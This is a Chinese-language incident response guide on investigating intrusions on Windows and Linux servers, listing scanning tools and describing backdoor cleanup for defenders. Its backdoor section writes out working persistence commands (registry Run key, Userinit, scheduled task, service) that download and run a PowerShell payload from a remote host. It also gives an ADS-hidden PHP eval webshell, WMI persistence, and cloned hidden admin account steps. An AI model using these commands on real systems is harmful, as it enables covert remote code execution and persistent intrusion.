应急响应笔记

黑客病毒千千万,人才工具处处有。

 

攻击威胁早发现,不留后门要根除。

面对各种各样的安全事件,我们该怎么处理?

当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失。

对于病毒入侵,黑客攻击等等我们又知道多少?

所以在现实中会时不时出现不同的人,不同的手段攻击我们,这时我们就需要进行应急响应分析。

目录

分析入侵原因- -消除入侵影响

windows(服务器)

Linux(服务器)

工具篇

清理木马后门

windows

1处理 隐藏(后门)文件

2 隐藏账号

3 端口复用

4 进程注入

 Linux

1 处理隐藏文件

2 隐藏文件时间戳

3 隐藏权限

4 隐藏历史操作命令

5 隐藏远程SSH登陆记录

6 端口复用

7 进程隐藏

提供安全建议



常见的应急响应事件分类:

Web 入侵:网页挂马、主页篡改、Webshell

系统入侵:病毒木马、勒索软件、远控后门

网络攻击:DDOS 攻击、DNS 劫持、ARP 欺骗

分析入侵原因- -消除入侵影响

windows(服务器)

一,入侵排查思路

1> 检查系统账号

1、查看服务器是否有弱口令,远程管理端口是否对公网开放。

  • 检查方法:据实际情况咨询相关服务器管理员。

2、查看服务器是否存在可疑账号、新增账号。

  • 检查方法:打开 cmd 窗口,输入 lusrmgr.msc 命令,查看是否有新增/可疑的账号,如有管理员群组的(Administrators)里的新增账户,如有,请立即禁用或删除掉。

3、查看服务器是否存在隐藏账号、克隆账号。

  • 检查方法:

    a、打开注册表 ,查看管理员对应键值。

    b、使用D盾_web查杀工具,集成了对克隆账号检测的功能。

4、结合日志,查看管理员登录时间、用户名是否存在异常。

  • 检查方法:

    a、Win+R 打开运行,输入"eventvwr.msc",回车运行,打开“事件查看器”。

    b、导出 Windows 日志 -- 安全,利用微软官方工具 Log Parser 进行分析。

 2> 检查异常的端口,进程

1、检查端口连接情况,是否有远程连接、可疑连接。

  • 检查方法:

    a、使用netstat -ano 命令查看目前的网络连接,定位可疑的 ESTABLISHED

    b、根据 netstat 命令定位出的 PID 编号,再通过 tasklist 命令进行进程定位 tasklist | findstr "PID"

2、进程

  • 检查方法:

    a、开始 -- 运行 -- 输入 msinfo32 命令,依次点击 "软件环境 -- 正在运行任务" 就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期以及启动时间等。

    b、打开D盾_web查杀工具,进程查看,关注没有签名信息的进程。

    c、通过微软官方提供的 Process Explorer 等工具进行排查 。

    d、查看可疑的进程及其子进程。可以通过观察以下内容:

    没有签名验证信息的进程
    没有描述信息的进程
    进程的属主
    进程的路径是否合法
    CPU 或内存资源占用长时间过高的进程

3、小技巧:

a、查看端口对应的 PID:netstat -ano | findstr "port"

b、查看进程对应的 PID:任务管理器 -- 查看 -- 选择列 -- PID 或者 tasklist | findstr "PID"

c、查看进程对应的程序位置:

任务管理器 -- 选择对应进程 -- 右键打开文件位置

运行输入 wmic,cmd 界面输入 process

d、tasklist /svc 进程 -- PID -- 服务

e、查看Windows服务所对应的端口:

%systemroot%/system32/drivers/etc/services(一般 %systemroot% 就是 C:\Windows 路径)

3> 检查启动项、计划任务、服务

1、检查服务器是否有异常的启动项。

  • 检查方法:

    a、登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。 b、单击开始菜单 >【运行】,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。 c、单击【开始】>【运行】,输入 regedit,打开注册表,查看开机启动项是否正常,特别注意如下三个注册表项:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

    检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马。

    d、利用安全软件查看启动项、开机时间管理等。

    e、组策略,运行 gpedit.msc

2、检查计划任务

  • 检查方法:

    a、单击【开始】>【设置】>【控制面板】>【任务计划】,查看计划任务属性,便可以发现木马文件的路径。

    b、单击【开始】>【运行】;输入 cmd,然后输入 at,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。

3、服务自启动

  • 检查方法:单击【开始】>【运行】,输入 services.msc,注意服务状态和启动类型,检查是否有异常服务。

4> 检查系统相关信息

1、查看系统版本以及补丁信息

  • 检查方法:单击【开始】>【运行】,输入 systeminfo,查看系统信息。

2、查找可疑目录及文件

  • 检查方法:

    a、 查看用户目录,新建账号会在这个目录生成一个用户目录,查看是否有新建用户目录。

    Window 2003版本 C:\Documents and Settings
    Window 2008R2及以后版本 C:\Users\

    b、单击【开始】>【运行】,输入 %UserProfile%\Recent,分析最近打开分析可疑文件。

    c、在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件。

    d、回收站、浏览器下载目录、浏览器历史记录

    e、修改时间在创建时间之前的为可疑文件

3、发现并得到 WebShell、远控木马的创建时间,如何找出同一时间范围内创建的文件?

a、利用 Registry Workshop 注册表编辑器的搜索功能,可以找到最后写入时间区间的文件。 b、利用计算机自带文件搜索功能,指定修改时间进行搜索。

5> 自动化查杀

  • 病毒查杀

    • 检查方法:下载安全软件,更新最新病毒库,进行全盘扫描。

  • webshell查杀

    • 检查方法:选择具体站点路径进行webshell查杀,建议使用两款 WebShell 查杀工具同时查杀,可相互补充规则库的不足。

6> 日志分析

系统日志

  • 分析方法:

    a、前提:开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。

    b、Win+R 打开运行,输入 "eventvwr.msc",回车运行,打开"事件查看器"。

    C、导出应用程序日志、安全日志、系统日志,利用 Log Parser 进行分析。

Web 访问日志

  • 分析方法:

    a、找到中间件的web日志,打包到本地方便进行分析。

    b、推荐工具:Windows 下,推荐用 EmEditor 进行日志分析,支持大文本,搜索效率还不错。Linux 下,使用 Shell 命令组合查询分析。

工具

1 .病毒分析

PCHunter:恶意代码检测 虚拟机脱壳. Rootkit检测 木马检测

火绒剑:火绒安全

Process Explorer:进程资源管理器 - Windows Sysinternals | Microsoft Docs

processhacker:Downloads - Process Hacker

autoruns:Autoruns for Windows - Windows Sysinternals | Microsoft Docs

OTL:https://www.bleepingcomputer.com/download/otl/

SysInspector:下载-杀毒软件下载,防病毒,反木马 - ESET NOD32中国官方网站

2 .病毒查杀

卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe (推荐理由:绿色版、最新病毒库)

大蜘蛛:Dr.Web CureIt! — Скачать бесплатно(推荐理由:扫描快、一次下载只能用1周,更新病毒库)

火绒安全软件:火绒安全

360杀毒:360杀毒_下载中心

3. 病毒动态

CVERC-国家计算机病毒应急处理中心:CVERC-国家计算机病毒应急处理中心

微步在线威胁情报社区:微步在线X情报社区-威胁情报查询_威胁分析平台_开放社区

火绒安全论坛:火绒安全软件 - 火绒安全软件

爱毒霸社区:金山毒霸官方网站-病毒防护_垃圾清理_软件管家_弹窗拦截-永久免费的杀毒软件

腾讯电脑管家:软件功能下载_顽固木马专杀_网络诊断工具-腾讯电脑管家论坛

4 .在线病毒扫描网站

Virustotal:VirusTotal

Virscan:VirSCAN.org - Free Multi-Engine Online Virus Scanner v1.02, Supports 47 AntiVirus Engines!

腾讯哈勃分析系统:腾讯哈勃分析系统

Jotti 恶意软件扫描系统:Jotti's malware scan

5 .webshell查杀

D盾_Web查杀:D盾防火墙

河马 WebShell 查杀:SHELLPUB.COM 专注查杀,永久免费

Linux(服务器)

1 账号安全

基本使用:

1、用户信息文件 /etc/passwd
root:x:0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后的 shell
注意:无密码只允许本机登陆,远程不允许登陆
​
2、影子文件 /etc/shadow
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留
who     查看当前登录用户(tty 本地登陆  pts 远程登录)
w       查看系统信息,想知道某一时刻用户的行为
uptime  查看登陆多久、多少用户,负载状态

入侵排查:

1、查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
2、查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
3、除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
4、禁用或删除多余及可疑的帐号
    usermod -L user    禁用帐号,帐号无法登录,/etc/shadow 第二栏为 ! 开头
    userdel user       删除 user 用户
    userdel -r user    将删除 user 用户,并且将 /home 目录下的 user 目录一并删除

2 历史命令

基本使用:

通过 .bash_history 文件查看帐号执行过的系统命令

1、root 用户的历史命令
histroy
2、打开 /home 各帐号目录下的 .bash_history,查看普通帐号执行的历史命令。
为历史的命令增加登录的 IP 地址、执行命令时间等信息:
1)保存1万条命令
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
2)在/etc/profile的文件尾部添加如下行数配置信息:
######jiagu history xianshi#########
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"
######### jiagu history xianshi ##########
3)source /etc/profile 让配置生效
生成效果: 1  2018-07-10 19:45:39 192.168.204.1 root source /etc/profile
3、历史操作命令的清除:history -c
但此命令并不会清除保存在文件中的记录,因此需要手动删除 .bash_profile 文件中的记录。

入侵排查:

进入用户目录下,导出历史命令。
cat .bash_history >> history.txt

3 检查异常端口

使用 netstat 网络连接命令,分析可疑端口、IP、PID

netstat -antlp | more
​
查看下 pid 所对应的进程文件路径,
运行 ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的 pid 号)

4 检查异常进程

使用 ps 命令,分析进程

ps aux | grep pid 

5 检查开机启动项

基本使用:

系统运行级别示意图:

运行级别含义
0关机
1单用户模式,可以想象为windows的安全模式,主要用于系统修复
2不完全的命令行模式,不含NFS服务
3完全的命令行模式,就是标准字符界面
4系统保留
5图形模式
6重启动

查看运行级别命令 runlevel

系统默认允许级别

vi  /etc/inittab
id=3:initdefault  #系统开机后直接进入哪个运行级别

开机启动配置文件

/etc/rc.local
/etc/rc.d/rc[0~6].d

例子:当我们需要开机启动自己的脚本时,只需要将可执行脚本丢在 /etc/init.d 目录下,然后在 /etc/rc.d/rc*.d 文件中建立软链接即可。

注:此中的 * 代表 0,1,2,3,4,5,6 这七个等级

root@localhost ~]# ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh

此处sshd是具体服务的脚本文件,S100ssh是其软链接,S开头代表加载时自启动;如果是K开头的脚本文件,代表运行级别加载时需要关闭的。

入侵排查:

启动项文件:

more /etc/rc.local
/etc/rc.d/rc[0~6].d
ls -l /etc/rc.d/rc3.d/

6 检查定时任务

基本使用

1、利用 crontab 创建计划任务

  • 基本命令

    crontab -l   列出某个用户cron服务的详细内容
    ​
    Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root
    ​
    crontab -r   删除每个用户cront任务(谨慎:删除所有的计划任务)
    ​
    crontab -e   使用编辑器编辑当前的crontab文件 
    ​
    如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件

2、利用 anacron 命令实现异步定时任务调度

  • 使用案例

    每天运行 /home/backup.sh 脚本:
    vi /etc/anacrontab 
    @daily    10    example.daily   /bin/bash /home/backup.sh
    当机器在 backup.sh 期望被运行时是关机的,anacron会在机器开机十分钟之后运行它,而不用再等待 7天。

入侵排查

重点关注以下目录中是否存在恶意脚本

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

小技巧:

more /etc/cron.daily/*  查看目录下所有文件

7 检查服务

服务自启动

第一种修改方法:

chkconfig [--level 运行级别] [独立服务名] [on|off]
chkconfig –level  2345 httpd on  开启自启动
chkconfig httpd on (默认level是2345)

第二种修改方法:

修改 /etc/re.d/rc.local 文件  
加入 /etc/init.d/httpd start

第三种修改方法:

使用 ntsysv 命令管理自启动,可以管理独立服务和 xinetd 服务。

入侵排查

1、查询已安装的服务:

RPM 包安装的服务

chkconfig  --list  查看服务自启动状态,可以看到所有的RPM包安装的服务
ps aux | grep crond 查看当前服务

系统在3与5级别下的启动项 
中文环境
chkconfig --list | grep "3:启用\|5:启用"
英文环境
chkconfig --list | grep "3:on\|5:on"

源码包安装的服务

查看服务安装位置 ,一般是在/user/local/
service httpd start
搜索/etc/rc.d/init.d/  查看是否存在

8 检查异常文件

1、查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“..”为名的文件夹具有隐藏属性

2、得到发现WEBSHELL、远控木马的创建时间,如何找出同一时间范围内创建的文件?

可以使用find命令来查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前访问过的文件

3、针对可疑文件可以使用 stat 进行创建修改时间。

9 检查系统日志

日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.conf

日志文件说明
/var/log/cron记录了系统定时任务相关的日志
/var/log/cups记录打印信息的日志
/var/log/dmesg记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息
/var/log/mailog记录邮件信息
/var/log/message记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件
/var/log/btmp记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中

日志分析技巧:

​
1、定位有多少IP在爆破主机的root帐号:    
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
​
定位有哪些IP在爆破:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
​
爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
 
2、登录成功的IP有哪些:   
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
​
登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' 
​
3、增加一个用户kali日志:
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
#grep "useradd" /var/log/secure 
​
4、删除用户kali日志:
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'
# grep "userdel" /var/log/secure
​
5、su切换用户:
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)
​
sudo授权执行:
sudo -l
Jul 10 00:43:09 localhost sudo:    good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now

工具篇

1 Rootkit查杀

  • chkrootkit

    网址:chkrootkit -- locally checks for signs of a rootkit

    使用方法:
    wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
    tar zxvf chkrootkit.tar.gz
    cd chkrootkit-0.52
    make sense
    #编译完成没有报错的话执行检查
    ./chkrootkit
  • rkhunter

    网址:The Rootkit Hunter project

    使用方法:
    Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
    tar -zxvf rkhunter-1.4.4.tar.gz
    cd rkhunter-1.4.4
    ./installer.sh --install
    rkhunter -c

2 病毒查杀

  • Clamav

    网址:ClamAVNet

    安装方式一:

    1、安装 zlib:
    wget http://nchc.dl.sourceforge.net/project/libpng/zlib/1.2.7/zlib-1.2.7.tar.gz 
    tar -zxvf  zlib-1.2.7.tar.gz
    cd zlib-1.2.7
    #安装一下gcc编译环境: yum install gcc
    CFLAGS="-O3 -fPIC" ./configure --prefix= /usr/local/zlib/
    make && make install
    ​
    2、添加用户组 clamav 和组成员 clamav:
    groupadd clamav
    useradd -g clamav -s /bin/false -c "Clam AntiVirus" clamav
    ​
    3、安装 Clamav
    tar –zxvf clamav-0.97.6.tar.gz
    cd clamav-0.97.6
    ./configure --prefix=/opt/clamav --disable-clamav -with-zlib=/usr/local/zlib
    make
    make install
    ​
    4、配置 Clamav
    mkdir /opt/clamav/logs
    mkdir /opt/clamav/updata
    touch /opt/clamav/logs/freshclam.log
    touch /opt/clamav/logs/clamd.log
    cd /opt/clamav/logs
    chown clamav:clamav clamd.log
    chown clamav:clamav freshclam.log
    ​
    5、ClamAV 使用:
     /opt/clamav/bin/freshclam 升级病毒库
    ./clamscan –h 查看相应的帮助信息
    ./clamscan -r /home  扫描所有用户的主目录就使用
    ./clamscan -r --bell -i /bin  扫描bin目录并且显示有问题的文件的扫描结果

    安装方式二:

    #安装
    yum install -y clamav
    #更新病毒库
    freshclam
    #扫描方法
    clamscan -r /etc --max-dir-recursion=5 -l /root/etcclamav.log
    clamscan -r /bin --max-dir-recursion=5 -l /root/binclamav.log
    clamscan -r /usr --max-dir-recursion=5 -l /root/usrclamav.log
    #扫描并杀毒
    clamscan -r  --remove  /usr/bin/bsd-port
    clamscan -r  --remove  /usr/bin/
    clamscan -r --remove  /usr/local/zabbix/sbin
    #查看日志发现
    cat /root/usrclamav.log |grep FOUND

3 webshell查杀

Linux 版:

河马 WebShell 查杀:http://www.shellpub.com

4 RPM check 检查

系统完整性可以通过rpm自带的-Va来校验检查所有的rpm软件包,查看哪些命令是否被替换了:

./rpm -Va > rpm.log

如果一切均校验正常将不会产生任何输出,如果有不一致的地方,就会显示出来,输出格式是8位长字符串,每个字符都用以表示文件与RPM数据库中一种属性的比较结果 ,如果是. (点) 则表示测试通过。

验证内容中的8个信息的具体内容如下:
        S         文件大小是否改变
        M         文件的类型或文件的权限(rwx)是否被改变
        5         文件MD5校验是否改变(可以看成文件内容是否改变)
        D         设备中,从代码是否改变
        L         文件路径是否改变
        U         文件的属主(所有者)是否改变
        G         文件的属组是否改变
        T         文件的修改时间是否改变

如果命令被替换了,如果还原回来:

文件提取还原案例:
rpm  -qf /bin/ls  查询 ls 命令属于哪个软件包
mv  /bin/ls /tmp  先把 ls 转移到 tmp 目录下,造成 ls 命令丢失的假象
rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls 提取 rpm 包中 ls 命令到当前目录的 /bin/ls 下
cp /root/bin/ls  /bin/ 把 ls 命令复制到 /bin/ 目录 修复文件丢失

5 Linux安全检查脚本

Github 项目地址:

https://github.com/grayddq/GScan

https://github.com/ppabc/security_check

GitHub - T0xst/linux: linux安全检查

清理木马后门

在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者便如入无人之境。本节将对常见的window服务端自启动后门技术进行解析,知己知彼方能杜绝后门。

windows

1 注册表自启动

通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。

常用的注册表启动键:

# Run键 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
​
# Winlogon\Userinit键
HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
​
类似的还有很多,关键词:注册表启动键值。

使用以下命令可以一键实现无文件注册表后门:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f

Logon Scripts 后门

注册表路径:HKEY_CURRENT_USER\Environment\

创建字符串键值: UserInitMprLogonScript,键值设置为bat的绝对路径:c:\test.bat

userinit后门

在用户进行登陆时,winlogon运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。

利用USERINIT注册表键实现无文件后门:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
 
"Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""

2 组策略设置脚本启动

运行gpedit.msc进入本地组策略,通过Windows设置的“脚本(启动/关机)”项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。

容易遇到的问题:脚本需全路径,如C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

3 计划任务

通过window系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。

使用以下命令可以一键实现:

schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.28.142:8888/logo.gif\"\"\"))\""

容易遇到的问题:cmd命令行执行单引号会被替换成双引号,故这里使用三个双引号替代。

计划脚本每 1 分钟运行一次。

4 服务自启动

通过服务设置自启动,结合powershell实现无文件后门。

使用以下命令可实现:

sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""
​
sc description  KeyName "Just For Test"   //设置服务的描述字符串
sc config Name start= auto                //设置这个服务为自动启动
net start Name                            //启动服务

成功创建了一个自启动服务

5 WMI后门

在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的WMI。这里可以利用一个工具powersploit,下面用它的Persistence模块来示范一个简单的例子。

Import-Module .\Persistence\Persistence.psm1
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

6 dll劫持

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。

比较常用的如LPK.dll的劫持:

win7及win7以上系统增加了KnownDLLs保护,需要在注册表:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls

下添加 “lpk.dll” 才能顺利劫持:

7 COM劫持

利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。这种方法可以绕过Autoruns对启动项的检测。

8 远程控制

远控木马是一种恶意程序,其中包括在目标计算机上用于管理控制的后门。远程访问木马通常与用户请求的程序(如游戏程序)一起,是一种看不见的下载,或作为电子邮件附件发送。一旦主机系统被攻破,入侵者可以利用它来向其他易受感染的计算机分发远程访问木马,从而建立僵尸网络。

一般分为客户端和服务端,如:灰鸽子、上兴远控、梦想时代、QuasarRAT等。

 管理员在平时运维过程应当保持警惕,掌握一定的入侵排查技巧,及时进行系统补丁更新,定期对服务器安全检查,才能有效地预防后门。

1处理 隐藏(后门)文件

攻击者在获取服务器权限后,通常会用一些后门来维持权限,为使后门保持的更久些,一般会隐藏好它,使之不易被管理员发现。

1.隐藏文件

利用文件属性

最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看不到刚刚的文件了。

 

如果要让文件显示出来,就点击查看,勾选显示隐藏的文件,文件就显示出来。

 

如何真正隐藏文件?

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r D:\test\project\test.txt

这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。

破解隐藏文件:

打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。

 

利用ADS隐藏文件内容

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:  

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。 

问题1:如何查看index.php:hidden.jpg内容呢?
​
    进入文件所在目录,notepad index.php:hidden.jpg    或者 dir /r
    
问题2:如何删除index.php:hidden.jpg?
​
     直接删除index.php即可

驱动级文件隐藏

驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker

下载链接: XOSLAB.COM

如果你在网站目录未查找到相关文件,且系统目录存在存在以下文件:

c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

那么你,应该是遭遇了驱动级文件隐藏。

如何清除?

1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。

隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。

这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现“无文件”攻击,这种方式极难被发现。

2 隐藏账号

window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为“test$”,密码为“abc123!”的简单隐藏账户,并且把该隐藏账户提升为了管理员权限。

 

PS:CMD命令行使用"net user",看不到"test$"这个账号,但在控制面板和本地用户和组是可以显示此用户的。

克隆账号制作过程:

1、“开始”→“运行”,输入“regedt32.exe”后回车,需要到“HKEY_LOCAL_MACHINE\SAM\SAM”,单机右建权限,把名叫:administrator的用户给予:完全控制以及读取的权限,在后面打勾就行,然后关闭注册表编辑器,再次打开即可。

 

2、来到注册表编辑器的“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”处,点击test$用户,得到在右边显示的键值中的“类型”一项显示为0x3ec,找到箭头所指目录。

 

3、找到administrator所对应的的项为“000001F4”,将“000001F4”的F值复制到“000003EC”的F值中,保存。

4、分别test$和“000003EC导出到桌面,删除test$用户 net user test$ /del

 

5、将刚才导出的两个后缀为.reg的注册表项导入注册表中。这样所谓的隐藏账户就创建好了。PS:不管你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到test$这个账户的,只有在注册表中才能看得到。

检测和清理方法:

使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。

 

3 端口复用

通过端口复用来达到隐藏端口的目的,在Window下,如何实现端口复用呢?

前阵子,@Twi1ight公布了一种基于内置系统服务的端口复用后门方法,利用WinRM服务,一条命令实现端口复用后门:

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

一般开启WinRM服务作为远程管理,但还是第一次听到可以作为端口复用,一种简单容易实现的端口复用方式。假设,攻击者已获取到administrator账号密码,连接远程WinRM服务执行命令:

当执行这条命令的同时,将在安全日志中留下痕迹,

另外,可以通过代码实现端口复用重定向,工具:GitHub - crabkun/switcher: 一个多功能的端口转发/端口复用工具,支持转发本地或远程地址的端口,支持正则表达式转发(实现端口复用)。

4 进程注入

进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。在常见的渗透测试框架中,进程注入是怎么做的以及我们如何通过工具排查出来?

meterpreter会话注入

当前权限无法获取hash值,查看目前系统进程

 

通过migrate将进程注入到system进程后,成功获得hash值。

 

Window后门排查:

通过TCPview显示已建立的TCP连接,我们可以看到异常的连接,同时,恶意软件将以绿色显示不到一秒钟,然后变成红色消失,如此循环。

 

Empire会话进程注入

通过psinject模块进行会话注入,直接输入ps选择一个SYSTEM权限的进程PID,使用进程注入模块,来获取权限。如下图:

 

Window后门排查:利用process monitor或者火绒剑监控进程都可以定位到注入进程。

 

 

